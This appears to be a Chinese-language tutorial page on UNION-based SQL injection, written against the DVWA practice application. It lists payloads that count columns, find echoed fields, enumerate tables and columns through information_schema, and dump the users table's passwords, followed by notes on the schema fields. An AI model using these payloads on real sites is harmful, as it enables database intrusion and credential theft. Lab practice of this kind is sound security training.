当前位置:Gxlcms > 数据库问题 > sql注入(二)联合查询注入过程

sql注入(二)联合查询注入过程

时间:2021-07-01 10:21:17 帮助过:3人阅读


1 1 order by 3 -- - 错误 2 1 order by 1 -- - 正确 3 1 order by 2 -- - 正确 (判断有几列,在这里有两列) 4 ? 5 ? 6 1 union select 1,2 -- - (查看回显位) 7 ? 8 1 union select user(),database() -- - (查看库名) 9 1 union select table_name,2 from information_schema.tables where table_schema=database() -- - (查看表名) 10 1 union select column_name,2 from information_schema.columns where table_name=users -- - (查看列名) 11 1 union select group_concat(column_name),2 from information_schema.columns where table_name=users -- - (用group_concat 能让查看的数据出现在一行 ) 12 -> DVWA数据库的users数据表中有以下几列: 13 user_id,first_name,last_name,user,password,avatar,last_login,failed_login 14 --------------------------------------------------------------------------- 获取数据库结构。 15 ? 16 1 union select 1,group_concat(password) from users -- -
1 命令中的一些注意:
2 information_schema.tables  和 information_schema.columns   都是information_schema 中的表
3 table_schema   数据库名
4 table_name    数据库里面的表名
5 table_column   数据库表里的列名
6 from  要放到 union select  后面
7 例如    group_concat(table_name),2,3,4 from  information_schema.tables  where  table_schema=dababase()

sql注入(二)联合查询注入过程

标签:注意   数据库表   pac   div   info   mat   ast   orm   form   

人气教程排行